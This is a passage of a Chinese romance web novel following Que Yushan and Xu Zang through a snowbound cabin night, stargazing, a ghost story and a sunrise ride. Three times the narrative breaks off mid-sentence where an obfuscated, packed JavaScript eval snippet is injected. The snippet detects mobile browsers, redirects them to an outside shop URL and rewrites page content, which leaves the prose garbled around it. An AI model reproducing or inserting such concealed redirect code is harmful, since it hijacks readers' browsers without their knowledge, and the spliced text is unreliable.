阙与山上上下下来回确认了三遍,终于放过了许藏,将人按在沙发上坐着,转身从柜子里拿出冻伤膏和药膏。 阙与山站在许藏的面前,投下幽暗的阴影。他的视线如有实质地巡视,语气低沉:“为什么?” 许藏没有回话,一双眼湿漉漉地跟随他的动作。 他刮出一层冻伤膏,在许藏的手和脸上厚厚地涂上,又抹在了他其他裸露的皮肤上。随后,阙与山将手用湿纸巾擦干净,在许藏冻得裂出小口子的嘴唇上抹上药膏。 他像是一个粉刷匠,将许藏身上不自然的冻红都遮盖起来。阙与山将东西收好,出门把檐下的发电机扯根线在电箱上,擦干净扛了进来。 这台小型发电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233876|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机是手摇的,阙与山的手抓在上面,快速地转起来,没关的灯一闪一闪地亮起来。 他从墙上抓下固定电话的听筒,按了一串号码后,边摇边放在耳朵旁听,过了很久终于艰难地接通了。 林木深的声音时重时轻地响了起来:“我明天要去东部巡查,晚上不回来,什么事?” “托你的霉,雪把电线压断了,木屋停电了。”阙与山没好气地说,郁结的火压都压不住。 阙与山又和林木深说了几句后挂了电话,手摇发电机也结束了它的使命,木屋重新陷入了昏暗中。 他将小型发电机先放置到杂物间,回了正厅后脱了那身厚重的棉大衣。因为站在壁炉前帮许藏回温,阙与山出了不少汗,甚至浸湿了后背与衣领,贴在身上显出宽阔的肩背与起伏的肌肉线条。 厨房的肉和红薯土豆花生等东西被阙与山处理好放进了壁炉里,又添了几把干柴。 他从厨房柜子里掏出一个积灰的小罐子,去木屋外用雪洗干净后把林木深珍藏的茶叶和黄.冰糖扔了进去,在火上烹出焦糖色后倒入牛奶激出香味儿,又扔了点水果进去煮,最后端出来一罐热乎乎的烤奶茶。 两个人安静地吃完饭后,天色黑了下来。 阙与山将东西都收拾好,从杂物间拎出一口很大的锅,全副武装后站在门口指给许藏看:“没有热水洗澡,只能现烧了。这栋木屋停电后也极易停水,我打算装些干净的雪回来,不介意吧?” 看到许藏摇了摇头,阙与山拎着锅就出门了,扫开表层的雪后,将中层的雪铲了进去。 他回来后,脱掉出门的东西,将壁炉的门打开,塞进了那口大锅,固定好关上门后原地坐在了地毯上。 屋内幽暗,只有壁炉中火光是唯一光源,将守在旁边的阙与山染上橘红。 许藏安静地盘坐在沙发上,在漆黑处突然开口:“阙与山……” 就在此时,屋外的檐上倏地掉落一层冻雪砸在了皮卡的车身上,遮住了他后半句话。 “你说什么?”阙与山没听到,怔了一下,视线锁在许藏的脸上。 许藏皱了皱眉,犹豫再三还是重复了一遍:“阙……” 这次的声音虽然没有杂音遮挡,但是音量太小了,阙与山连自己的名字都没有听完整。 他的表情还是很懵,小心翼翼地开口:“对不起,我没听到。” 不知是此时壁炉的光暗了下去,还是天黑得更深了,许藏的脸躲在火光边缘处,神情被照得有些难看和扭曲。 下一刻,他垂下眼眸,扑朔迷离的情绪也消失不见。 许藏从沙发那边站了起来,步履平稳地走到了阙与山的身边,微垂的眼很冷:“我来守着吧,你去沙发上坐着。” 他的语气不容置疑,阙与山虽不知所措,却依旧如他所说,走到了刚刚许藏坐过的地方,陷在了沙发里。 许藏赤足站在阙与山坐过的地毯上,余温仍源源不断地从脚底传来。 他顿了一会儿,才缓缓地坐下,朝着阙与山的方向看去:“给我讲讲你拍摄时的见闻吧。” 很突兀的请求,许藏很奇怪。 阙与山回想了一下,几乎是从看到许藏不知什么原因等在风雪灌入的檐下时开始,许藏整个人就有点不对劲了。他只顿了两秒,便讲起了自己当初拍摄《可怜星俱灭》时的事情。 只是他刚讲两句,许藏打断了他,语气强硬:“小点声。” 不一会儿,许藏又有了新的指令:“再小点声。” 阙与山几乎觉得自己讲出来的话低得如同耳语,怀疑许藏是否真的听到了,可看到他很认真的表情,又把疑问塞了回去。 也许,许藏只是突如其来的心情不好。 阙与山讲自己在拍摄地待了四个多月,因为错过了那颗最明亮的星第一次出现的时间,只能再等。 他将自己在极北之地看到的美丽景象、住的冰屋、吃过的当地美食一一诉说,到最后说得口干舌燥。但许藏俨然没有让他停下来的想法,他只能事无巨细地继续讲那次拍摄之旅。 直到,后院房上的雪再次落下砸到皮卡上,没过多久,阙与山终于被喊停。 他抬眸望去,许藏背对着壁炉的光,面上的情绪看不清切。 几秒后,许藏跪在地毯上,朝桌子的方向膝行了几步。 他在桌子上摸索半天,终于找到了想要的东西。他的手按在其上,没让人看见是什么,直到其中一个物件被许藏不小心摔出地毯砸在地板上,阙与山才看清那是打火机。 不过,地板上的铁质打火机很快就被许藏捡了回去。 他的手指颤着地从烟盒里捏了一根出来叼着,将烟盒扔回了桌子上,轻巧地挑开打火机后,滑了几次才将烟点燃。 昨日才说不抽烟的人,今日一点也不生疏地吞云吐雾起来,一只手撑在身后,姿态放松。 许是摇曳昏暗的火光下,许藏叼着烟的模样太过缱绻,阙与山的烟瘾被勾起来了,他摸了一支烟凑过去,单膝跪在许藏的身侧伸手要打火机。 许藏攥着没给,猝不及防地抓着他的领子让人倾身,阙与山没跪稳,眼见要摔到一起,手贴着许藏按在了地毯上,将人禁锢在身下。 嘴里衔着的两根烟错开了好几次,最终艰难地点着了。 7. 只能听我说 烟点着了,火红的光明又暗,带着丝缕烧焦的味道。 许藏没松手,阙与山撑在他身上也没挪开,两个人离得很近,却又看不清彼此的眼神,模糊在昏幽中。 两支几乎相贴的烟各自往后燃,灼热之后只剩渐冷的烟灰摇摇欲坠。 阙与山率先直起身,衣领从许藏的手中抽出,皱巴巴地垂在胸前,露出大片的锁骨、起伏的线条以及若隐若现的隐秘部分。他翻了个身,坐到了许藏的身边,姿态放松地夹着烟,微仰着头吐出了烟雾。 燃烧的烟草让人放松,两个人并肩安静地抽完了半支烟。 许藏的两根修长手指虚虚地夹着烟蒂,腕子搭在曲起的膝盖上,哑着嗓子低声开口:“阙与山,我给你讲个故事吧。” 闻言,阙与山偏过头看许藏,视线却先落在了壁炉上。盛雪的那口大锅早就煮沸了,许藏刚刚和自己换位置的说法就是一个毫不掩饰的借口,因为现在锅里冒泡的水烧得只剩一半了。 他若无其事地收回视线,先发制人:“为什么等在门口?” 阙与山指的是刚刚许藏在檐下快要冻僵的事情,他之前问了一句没有得到答案,此时又不合时宜地重新提起。 他能确保许藏听到了,因为自己的声音真的很大,还是朝着许藏的耳朵说的。 许藏第二次没有开口,阙与山一口将手里的烟吸完,有些急躁地摁灭在烟灰缸里,用力之大将烟蒂捏得很扁,一半弯在其中。 他尝试和许藏作对:“如果你不回答,我不会听你的故事。” “那等你想听的时候,我再讲。”许藏煞有介事地点点头。 许藏总是有办法,能牵制连接他全身的木偶线,以一种松懈的状态观察他的不堪。 譬如十四年前,在阙与山欣喜于从许藏的手里拿到一颗糖时,许藏和他出门时转头会给其他人散更多;许藏在村子内听了一圈哥哥的称呼后,贪心不足地让阙与山也喊;许藏说着大江南北的见闻时,表情似村子里那些兴奋地说着要一展宏图却再也没回来过的青年。 甚至于,毫不意外的,许藏的不辞而别。 许藏总是一副随时能安然抽身的模样,而他缺了提线的人,只会狠狠地摔在原地甚至散架。 阙与山花费了十四年将自己修好、拼接好,可不是为了给许藏随便扔着玩的。他沉默着起身,去厨房拿了另一口相对较小的锅,出门铲了干净的雪,添进了壁炉中的锅里。 “嗞啦”一声,烧得很红的大锅上冒出大量白汽。 阙与山没什么表情地用棍子在里面搅了搅,使雪快速地融化在热水中,声音很重:“等它再煮开了,混着凉水就可以洗澡了。” 阙与山没有讲述关于如何使用一盆水洗澡的用法,他很清楚地知道在这方面许藏比自己熟练。 十四年前,他父母担心从外乡来的许藏适应不了这里的生活,让他去辅助,结果阙与山进去的时候才发现,许藏已经快速洗好收尾了。 而如今,许藏单手后撑在地毯上,抽掉最后一口烟,却混着白雾说:“我不会用水盆洗。” “那你可以不洗。”阙与山明显还在气头上,说出来的话句句带刺、阴阳怪气,“林木深不会让不洗澡的人睡沙发的,委屈你今天睡地毯上了。” 许藏撑起身,一双眼隔着没散尽的白雾看阙与山,难得挑了一下眉,将烟蒂摁灭在烟灰缸里。 “行吧,”许藏像是没办法一般站起了身,居高临下盯着壁炉前的阙与山,乍勾起一抹笑,“麻烦您一会儿将水送来时,再赠我一条新的内裤。” 他一副迫不得已的模样:“来时匆匆,没带换洗衣物。昨日醉酒,又忘了这事,实在是抱歉。” 阙与山的目光跟随着许藏,瞧他拿着手电筒进了浴室后收回视线,不知在想什么。 壁炉的火很给力,不一会儿水就咕嘟了起来。阙与山带着隔热手套将那口大锅整个端了出来,挤进了浴室,透过洗漱台的镜子与正在刷牙的许藏对视一眼,随后用脚勾来了一个很大的盆,将热水倒进去一些,又趁着还没停水接了凉水中和,抬着大锅出去了。 阙与山从背包中找了一条未拆封的内裤以及新毛巾,打开浴室的门走进去,反手轻掩上门不让热气散掉。 “你要的……”他的脚步陡然顿住了,连带着想说的话如蒸汽一般烟消云散。 刚刚还穿戴整齐刷着牙的许藏,此时已经将居家服全部脱了下来,背对门口站着。 一瞬间,阙与山不得不将眼前令人血脉偾张的画面收入眼底。手电筒被放置在洗漱台上,冷光直直地打过来照在许藏光洁、白得反光的腰背上,流畅又不夸张的薄肌覆在其上,光影明暗有致,在背脊腰窝处投下渐变的影子。一双修长的腿劲瘦有力,线条起伏没入昏暗,脚踝上缠绕的一根青筋绷起。 许藏不知用什么撩过几捧水在身上,滚烫的水珠顺着突起的蝴蝶骨滑下,勾勒腰线灼出红痕,蓄在腰窝弧度上,润湿了白色布料的边缘。 阙与山神情微变,颤动的眼睫、变急的呼吸将他彻底暴露。眼见许藏隔着镜子意外地望过来,他局促地移开视线,两只手紧紧地抓握掌心的东西才能止住抖。 面积很小的浴室很快被热气充满,阙与山的体温也被浸得发烫,他故作镇定地将东西往前一送:“喏。” 许藏毫无自觉地转了过来,赤足一步步走了过来,和地板粘连响起的水声撩拨着阙与山岌岌可危的警铃。 他没有接过东西,偏偏走到了阙与山偏开头的方向,朝着他的方向凑了凑,手指还不容反驳地擒着他的腕子,漆黑的眸子里是昏暗的阙与山倒影。 许藏的呼吸很近地拂在他脸上,阙与山又热又痒,耳尖红得发烫。且他的呼吸如有实质,好像是故意的,往阙与山的左耳垂吹气,沾了水汽的果木壳蓦地发出沉闷的空灵声。 而许藏凑过来的角度极其刁钻,恰巧堵在他的另一侧,不让阙与山转回头,只能以这样的距离僵持。 阙与山无论怎么样都能看到许藏,抬眸会看到他的眼睛,垂眸会看到更加艳丽的场景,像朱红的花开在夜雪上。 错过了最佳时间,逃也逃不掉。他只能克制地闭上眼,轻声求饶:“许藏……” 许藏好似轻笑了一声,没有放过他,身体擦着他往前走了两步,“嘭”的一声将浴室的门关上并反锁。 “阙与山,你只能帮我了。” 说罢,得逞的许藏仁慈地放开了他的猎物,退到了那盆热水前,抓了个小板凳很无害地背对人坐下。 阙与山一直都知道,许藏是个睚眦必报的人,他只是在报复自己没有答应帮他洗澡的请求,就可以百般骚扰。他听到声音后睁开了眼,认命地将未拆封的盒子放到洗漱台上,抓着新毛巾朝许藏走过去。 随后,阙与山兢兢业业、目不斜视,几乎只盯着浴室的角落处看,余光判断是否需要用毛巾给许藏撩水、搓头发等。 直到打滑的沐浴露挤在手上,往更加细腻的皮肤上揉泡沫时,脸红耳朵红的阙与山发现了比他更不对劲的许藏。 他突然蜷成了虾米状,脊骨很明显地突出来,身体无意识地颤。 阙与山脸色一变,双手抓住他的肩膀将他转了过来,语气关切:“很冷?” 许藏的红有过之而无不及,一双眼湿漉漉地抬起来,压抑着情绪:“正常反应。” 他说着,目光侧移落在阙与山的手指上,因常年奔波指腹上生了一层老茧,粗糙灼人,将他肩头的那颗痣磨得很红。 空气中弥漫起尴尬的气氛,阙与山给人洗澡,却把自己烫得跟熟了的螃蟹似的,他只能加快速度,拿出洗小狗的架势掩盖异常,冲水洗净擦干水,等许藏慢吞吞穿好后迫不及待地将他推了出去。 浴室的门猛地关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他自觉地挂上了短暂独属于他的相机,提着复古手提灯,追在阙与山的后面出了木屋。 阙与山拿着手电筒在前面探路,夜晚时月光落下,照在雪上并不刺眼,于是他只是将雪镜塞进了背包里以防不时之需。 “踩着我的脚印,千万不要歪。”阙与山大声嘱咐道。 许藏拍了拍他的后背,表示自己听到了。 阙与山的脚步顿了一会儿,好似在判断路况,随后不动声色地继续前进。 拍摄又一春的地方离这里不远,索性雪没有再下大,而是缓缓地停了,他们两个不紧不慢地一前一后到了那块背风的大石头。 阙与山用登山杖将上面的雪扫干净,铺上了防水垫和厚垫子,将许藏按坐在了其上。 他将手电筒挪了个方向,对准不远处一个位置,那处歪歪扭扭地从雪里冒出来一根深绿色的植物茎叶,看起来平平无奇。 “叶片近乎圆形,纹路几不可见,茎细看有黑色线条盘旋,从积雪中挤出,很大概率是又一春。且这处已被林木深证实,这场雪结束后不过几日,就可以看到它开花了。” 阙与山的话顿了一下,不太确定地问:“如果这场雪从今晚开始停,大约需要六七天左右。而清扫下山路只需二三日,甚至更短,你……” 他想问许藏,愿不愿意同他一起看,可话到嘴边,却突然失去了立场。 “我的年假很长,更何况玉琼雪林很美。”许藏的声音从围巾后闷闷地传来,“阙与山,届时我要和你一起趴雪窝,等又一春开花。” 手电筒倏然砸在了雪地里,光线摇摇晃晃最后被雪掩埋。 许藏没想到阙与山的反应这么大,怔了一下转过头看向他,刚想说什么就被漆黑的镜头堵了回去。 “咔嚓——” 星辰覆雪之下,许藏提灯看来。 8. 十四年不期不遇 抓拍太过明显,阙与山保持着拍照的姿势僵了半天,才将相机从面前放下,手指无意识地在按键上摩挲,将刚刚许藏的照片调了出来。 许藏一身长款白色羽绒服,颈上围着一条朱红的厚围巾,很像是下雪时每家每户堆的那种可爱雪人。他怀中捧着的复古手提灯散发柔和的暖光,为冰冷的雪人增添了几分温度。 照片的背景是幽深的雪林,侧面的雪地里有手电筒被埋时恰到好处的微弱光,星辰泛出暗调的蓝紫色,其中有一抹深棕色的星云。 阙与山好像一下子找到了抓拍的理由,他站起身垂着眼,找补道:“刚刚有一颗星星很亮。” 许藏没有追问为什么拍星星要以他为前景,好整以暇地点了点头,转回了视线,依着阙与山所言抬头望向天空,整个人变得很宁静飘渺。 他没有向阙与山提出看照片或是删照片的要求,仿佛毫不在乎自己是否入镜,抑或是他已经习惯了成为镜头前的一角。 眸色一沉,阙与山动作粗鲁地将镜头盖扣上,把相机整个塞回了背包中,从雪地里捡起那个吸引目光的手电筒,走向许藏的时候脚下的雪被踩得嘎吱响。 许藏沉默地仰着头,注视着星辰闪烁。 他很突兀地开口说道:“我已经很久没有在雪中看过星星了。” “是吗?”阙与山回答得有点漫不经心,他对许藏的这句话保持怀疑态度,“多久?一年两年?还是一个月两个月?” 许藏的目光缓缓收回,侧过身后落在阙与山的脸上,很轻地吐出:“十四年。” 周围静寂无声,阙与山没有听清他的话,却看到了他的口型。 他不由得将那串唇形在心里琢磨了十几遍,才反应过来许藏说的上次在雪中看星星是十四年前——许藏不辞而别的前一夜。 阙与山的家不大,只有一层平房,硬收拾一下勉勉强强有三间房可以住人,因此他到现在都不知道许藏父母当时为什么会在那些一排二三层小楼中选中他家。 他家四处漏风的房正好建在整个雪村最偏远的地方,反倒离村后的山很近,几乎倚着山脚建成的。说是山,其实不过算是连绵的土丘,只是被雪淹没后增加了气势。 许藏一家来后,那间最好最暖和的屋子留给了许藏父母,阙与山还住自己原来的屋子——那间窗户朝向山林,只是多了一位不速之客。 阙与山的床很小,睡上两个十七八岁的青年明显拥挤。不过他的屋子最冷,两个人挤在一张床上倒也算暖和。 许藏虽是客人,却主动提出要睡在靠近窗户、更冷的那面。阙与山没有反对也没有同意,或许也不需要他的表态,许藏总是很自来熟地融入借宿的生活。 按理说,许藏的位置更佳,应该会比阙与山早一些发现窗外的雪停了,但是一切都好似有征兆。 那夜许藏讲自己过去见闻时介绍的是何处,阙与山已经不记得了。 昏暗的房间里,阙与山躺在厚重的被子下,却没来由地心脏漏了一拍,他似有所感地起身,不顾许藏阻拦的话穿着单衣赤足行至窗边。 破旧的木窗被推开时发出吱呀难听的声音,阙与山探着脑袋往外看,视线不经意撞进一片云开雾散后的星辰。 他应该意识到雪停了的后果,可是在那一瞬间,在雪村常年阴云的笼罩下,在天晴看到如许藏所描绘的美景下,阙与山只会睁大双眼,快速地转身穿衣服,不由分说地拉着同样穿戴整齐的许藏翻窗上山,坐在最高处看星星。 那晚,阙与山睡得辗转却又醒不过来。 第二日一早,他起来时满屋找不到有关许藏的一点踪迹,家里没有、村子里没有、山里更没有。 后来,苍城没有,霜城没有,林城也没有。 阙与山拿上相机,不知道要踏上多少次难分昼夜的旅途,才能再次与许藏不期而遇。 十四年后,又是雪停,又是云散,又是星辰。 阙与山蓦地心悸了一下,他有预感,重蹈历史覆辙的预感。他将再一次,无法撼动车轮的走向。 尽管如今许藏的视线如有实质般落在他的面上,阙与山还是觉得自己的身体零件好像有哪一块掉落了、丢失了。 他迫切地需要从十四年前的山顶中走出来,不能被过去绞成一盘散沙。 恰在此时,许藏语气平淡地开口了:“阙与山,你想听故事了吗?” “好。” 过去和现在两场雪冻住了他的喉咙,阙与山艰难地挤出来了一个音。 “很久以前,一名女子的丈夫走前说要回自己的老家,却连月未归家,她为了寻找丈夫,收拾东西关了店铺回到了丈夫的老家,一个藏在大山里的小村庄。” 复古手提灯被许藏放到了大石头的一旁,他继续说:“村子太难找了,女子来时的车险些跌入悬崖,司机时不时地劝阻她,说前面没有什么村子,早就荒废了。 “可是女子不听,她与丈夫伉俪情深,下定了决心要找到他。女子的干粮吃完了,水也喝完了。然而大山里根本没有吃的,连裹腹的野果都很少,也没有滋养树木的河流。女子饥肠辘辘地继续走,意识恍惚间看到一棵枯死的树前立着一块木牌,其上写着‘树下埋酒’几个大字。” “女子已经渴了很多天,不管不顾地刨开坚硬的砂石土壤,一双手挖得血肉乍现,血液不断落下浇灌枯树。她挖了很久,终于在树下找到一个古旧的罐子,欣喜若狂地把它抱了出来。” 说到此,许藏突然止住声音,从大石头上站起来,拍了拍身上的落雪,走到了阙与山的面前,微微仰头看他,卖了个关子:“你猜结局是什么?” 许藏好像很喜欢把故事讲一半,留着另一半和结局问他,仿佛阙与山所述即为答案。 可是很不巧,这个故事阙与山并没有听过,也没有什么讲故事的潜质,只能摇了摇头:“我不知道。” 许藏却忽然浅浅地笑了,伸出手隔着厚手套在阙与山冻得泛红的鼻尖上轻轻一点,谆谆善诱:“回去吧,回去给你讲后面的。” 阙与山鬼使神差地被这一个无头无尾的故事安抚了,在许藏转过身取手提灯时,不由得伸手摸了摸自己的鼻子。 他想,许藏怎么那么喜欢点人的鼻尖,是不是又把他当小狗了,所以小狗到底是谁…… 许藏把防潮垫和厚垫子裹起来抱在怀里,提着复古手提灯转过身,看见阙与山皱着眉站在原地,表情一下子变得很臭。 这么大人了还因为故事没讲完就不开心,他不免好笑,走过去抓住阙与山的手腕,将人沿着来时的脚印带回了木屋。 阙与山一路上没说话,回到木屋拎着热水进浴室后,脑子里盘旋的还是“小狗”两个字。 直到从浴室出来,他才意识到一件更为严峻的事情,自己将要和许藏睡一张沙发床。阙与山的两条腿一下子僵在了原地,借着壁炉的光局促地望向沙发那边。 许藏已经换好居家服,甚至特别勤奋地将沙发放平。他单腿跪在其上,铺上舒适的床单被子,把枕头拍得很松软。 不经意偏头看到阙与山傻站在浴室门口,许藏自如地走过去,拎起一条干毛巾,踮起脚在阙与山湿漉漉的微长发上揉。 阙与山不像十四年前那样矮到任许藏摆布,他如今高出一截。 许藏擦得极其费劲儿,抬脚的时候,修长的腿总重心不稳地微颤。他撑了一会儿便站不住了,摇摇晃晃地落下来。 而阙与山因为许藏的靠近,全身的肌肉都绷得很紧,脑海中一片空白,那些空白还要随着许藏揉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233878|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的动作来回摆。 意识到许藏站不稳的一瞬间,阙与山想都没想,伸手牢固地扣住了他的腰,指腹隔着居家服搭在许藏的腰窝,那处因用力陷得更深。 感受到掌下紧实的肌肉、灼人的体温,他如触电一般地松了松手指,但贪恋地没有完全放开。 许藏像是无奈般伸出一只手,不由分说地环过阙与山的脖子,按在他的后颈上,微微施压使其低头,另一只手攥着毛巾在阙与山的脑袋上继续揉。 这样的姿势持续了几分钟,阙与山的掌心几乎落满了细汗,被按住的后颈温度不断提升,干燥的发尖扫在许藏的手与他的皮肤相贴处痒得难受,许藏才收回了毛巾。 他一下子就撒开了半环在许藏腰间的手,若无其事地将手放在背后搓了搓。 许藏将毛巾放回去,再出来路过阙与山时扫了他一眼,漫不经心地提了一句:“明明没有揉,你的耳朵怎么红了?” “我……”阙与山卡了一瞬,装模作样地摸了摸耳朵,“可能是壁炉烧得太热了。” 许藏问完后仿佛不求甚解,神色泰然地掀开被子躺上了沙发床,侧过身后一双漆黑的眸子紧紧地锁着阙与山,仿佛在催促他。 阙与山被盯得头皮有点麻,他拘谨地挪了过去,掀开一角将自己塞到了沙发床的边缘。 看到他的动作,许藏笑了一下,话都没说一句,猝不及防地伸手环住阙与山的腰,用力地将人往床上带了一下,才施施然地松开手。 “还记得刚刚的故事吗?” “什么故事,”阙与山的身体几乎和许藏的相贴,僵得像是在冰雪下冻了很久,半晌脑子才重新启动,有点懊恼,“……我记得。” “女子从枯树根下挖出一个罐子,打开才发现里面装得根本不是酒,而是骨灰。她吓得直接将罐子扔到了地上,罐子碎了,掉出来一张纸条,上面写着女子丈夫的名字。” 许藏微微打了个哈欠,眼睛慢慢闭上,继续讲:“原来丈夫早已去世,两人阴阳两隔、生死相别。” 许藏的声音就在身边,阙与山却不免想起了十四年前的许藏,那时的他睡姿非常固定,身体极尽蜷缩摆成一个防御的姿态,一晚上都不会变一次。 错过了十四年的时光,仅仅雪林的几次睡眠,许藏就与他记忆中的大相径庭,睡觉的时候不老实,睡前也不怎么安生。 一如现在,许藏嘴上还在嘟囔着故事的发展,人已经翻过身靠在了阙与山绷紧的身体旁,迷迷糊糊间好像错认了地点、把他当成了抱枕。 许藏的声音逐渐弱了下去,好似下一秒就能睡着,呼吸却扑在阙与山的颈侧彰显它的存在。 “最后,女子发现,原来自己才是已经去世的那个,丈夫所做的一切都是为了让她找到家的方向。 “经由老神仙的点化,他们无拘无束地生活在了大山里。”许藏撑着讲完最后一句,脑袋一斜靠在阙与山的肩膀处,呼吸均匀。 阙与山无奈地垂下视线看向颈侧的许藏,他无声地叹了口气,侧过身微微退了一点,与许藏面对面。 两个人靠得极近,却没有一丝一毫地越界接触,中间仿佛隔了一层看不见摸不着的透明膜。 壁炉的光照不到这里,阙与山却用目光一遍遍地描摹许藏的面容,很认真很眷恋。 一瞬间,像是回到了十四年的那个星夜,也是这样的昏暗温暖,那些克制的情愫不受控地撞出胸腔,充斥整个寒冷房间。 代替他,触碰许藏。 阙与山入睡前,感受到仿佛有一具温热的身体牢牢地抱住他,在他耳边说话。 他迷蒙间分不清过去还是现在,只听到那道很好听的声音说了一句很好听的话。 “阙与山,明天我们一起看日出吧。” 9. 不好 雪地摩托特有的偏沉闷轰鸣将沉睡中的阙与山吵醒,噪音带来的头疼让他不禁蹙眉,缓缓地睁开双眼。 像昨日那样从许藏怀中醒来的尴尬场景虽没有重现,但两个人离得极近,称得上相拥而眠。阙与山的视线从近在咫尺的许藏身上落到了远处的窗户上。 他目光呆滞地想,昨夜又忘了将窗帘拉上,好在如今天还未亮,投进来暗蓝色的昏光。 而且,雪真的停了。 咯吱咯吱的踩雪声由远及近,阙与山刚睡醒的脑子一下子没有反应过来。 下一刻,正厅的厚帘子以及木门被推开,穿着有些邋遢的林木深走了进来,他将雪镜和帽子一齐摘下后,动作僵在了半空。 阙与山就这么睡眼惺忪地和眼下泛青的林木深视线相接。 一时无言,林木深的目光稍微偏移,落在了靠着阙与山肩头的那颗柔软的脑袋上,嘴角无意识地抽了一下,随后收回视线,目不斜视地上楼了。 没过几分钟,林木深木着一张脸又从二楼下来了,衣服都没来得及换,身上只多了一个背包,除此之外再无其他,这让阙与山觉得他不如不回来。 林木深从下楼到出门,没再往沙发床这边看一眼,专心致志地往木屋外走去,因此在门口柜子上摸皮卡钥匙的时候还被棱角狠狠地撞了一下,瘸着一条腿怨气十足地离去。 后院皮卡的车门开合,不一会儿便响起了引擎发动的声音。 直到木屋内再也听不到一点有关于皮卡碾过雪的声音,阙与山搭在许藏腰上的手指微微动了一下,慢慢地收回来。 他往后退了一个身位,许藏的胳膊没有追来,阙与山松了口气,掀起一角被子在沙发床上坐起来。 许藏也跟着醒了,眯起眼睛朝身边坐起来的人看过去,嗓子很哑:“太阳出来了吗?” 阙与山闻言偏过头,目光落在许藏睡出褶子的侧脸上定了一会儿,突然觉得很奇怪。 为什么林木深一来一去噪音那么大许藏没有醒,反倒现在仅仅是因为他坐起来,就被吵醒了? 难不成许藏被吵醒时发现两人的睡觉姿势实在尴尬,而他又有那什么姓越的男朋友,因此守身如玉、洁身自好、不好意思睁开眼,更不想各自为难?明明昨夜是许藏睡觉不老实…… 阙与山的脸色瞬间差了起来,借着观察天色的由头将脑袋又转到了另一边,语气十分不善:“哦,你说太阳,那没有。” “阙与山,我们去看日出吧。”许藏的声音沙哑中带着几分清冽,从侧后方传来,“这还是第一次,以观赏的性质去看日出。” 阙与山绷紧的嘴角稍稍松开,他揉了一下有点僵的脖子,率先下床,在进入浴室洗漱前回了一个不带情绪的字:“好。” 被雪压断的电线应该还没修好,浴室中凭借那一小扇排气的窗户,勉勉强强能让人认清,阙与山快速洗完后先去准备了一点早饭,借着壁炉的火煮熟后和洗漱完的许藏一同坐在桌子旁享用。 阙与山很快地将面前的东西搜刮完,想到了什么,抬眸看向许藏:“林木深刚刚将皮卡开走了,剩下了雪地摩托。” “林木深回来过?”许藏的神情实在是挑不出一丝撒谎的迹象。 盯着人看的阙与山突然笑了,唇角微微勾起,顾左右而言他:“雪地摩托,你坐得惯吗?” “没坐过,但应该还不错。”许藏放下了饭碗。 阙与山将东西都收拾好后,穿上了厚实的衣服,背上了鼓囊囊的包,盯着许藏把围巾手套戴好后,塞给他一个保暖头盔,从柜子上摸了钥匙出门。 林木深的雪地摩托很大,几乎能坐下三个成年男人。阙与山长腿一跨,将包挂到了胸前,转动钥匙后点火预热,喷薄的热气不断吹拂在后面的厚雪之上。 许藏坐上来后,阙与山调整方向转动握把,雪地摩托在白雪上留下一道绵延的痕迹。 陡然启动使得许藏不得不伸手环住抱紧阙与山的腰来维持平稳,他的整个前身与阙与山的后背几乎紧密相贴,隔着很多层衣服也能感受到肩宽背阔,其下肌肉的紧实、线条流畅。 雪地摩托在茂盛的雪林里穿梭,难免会极限拐弯,肾上腺素飙升。 差点被甩出去的许藏逐渐摸索出了应对的办法,死命地抱紧阙与山,以及绷紧双腿蹬在摩托上极力克服惯性。他的一双手从阙与山的腰部几乎圈到胸部,恨不得化作树袋熊双手双腿都缠上去。 许藏的动作幅度越大,被他紧紧勒过的地方像是摩擦出了细小的电流,一股脑儿地顺着脊背向上窜,阙与山的身体越发僵硬起来。 好在穿越了密林区向着山顶驶去,他不得不将握把转动一个更大的弧度,确保雪地摩托可以快速到达目的地,免受这样难以言喻的折磨。 他们来的时间恰到好处,远处连绵的雪山边缘被渲染上了一层金光,紧接着是灿烂的橙红色渐变,逐渐与蓝色褪去的天空接壤。 阙与山一脚刹车,使雪地摩托稳稳地停在山顶。他熄了火,拔了钥匙,等许藏先下后才僵着一条腿跨下来。 许藏将头盔摘下,挂在了雪地摩托的把手上,从阙与山的手里接过帽子和雪镜,拿起带来的相机,熟练地开机后对着远处的金色雪山。 阙与山从背包中取出便携三脚架,一只脚将雪朝两边扫开,露出平整的土地,将三脚架撑开支在其上,再安装上云台。他将特意带来的长焦镜头旋到相机上,整个放到了云台上固定,调整好后拍了几张太阳还没出来时的照片,颇有点犹抱琵琶半遮面的意境。 许藏双手捧着相机,往后走了几步,行至了阙与山的侧后方,突然开口:“能够停下脚步,站在山顶,等一次雪山日出,是一件很美好的事情。” 阙与山没有回头,依然在调最适宜拍日出的参数,闻言漫不经意地问道:“你说第一次来看,那个姓越的朋友,没有陪你来过吗?” “你说之垠?”许藏的回答也有点不走心,他的所有关注点都在相机里的阙与山身上,“来之前他说要在玉琼雪林看一次日出,恰遇大雪封山,不得不改日了。” 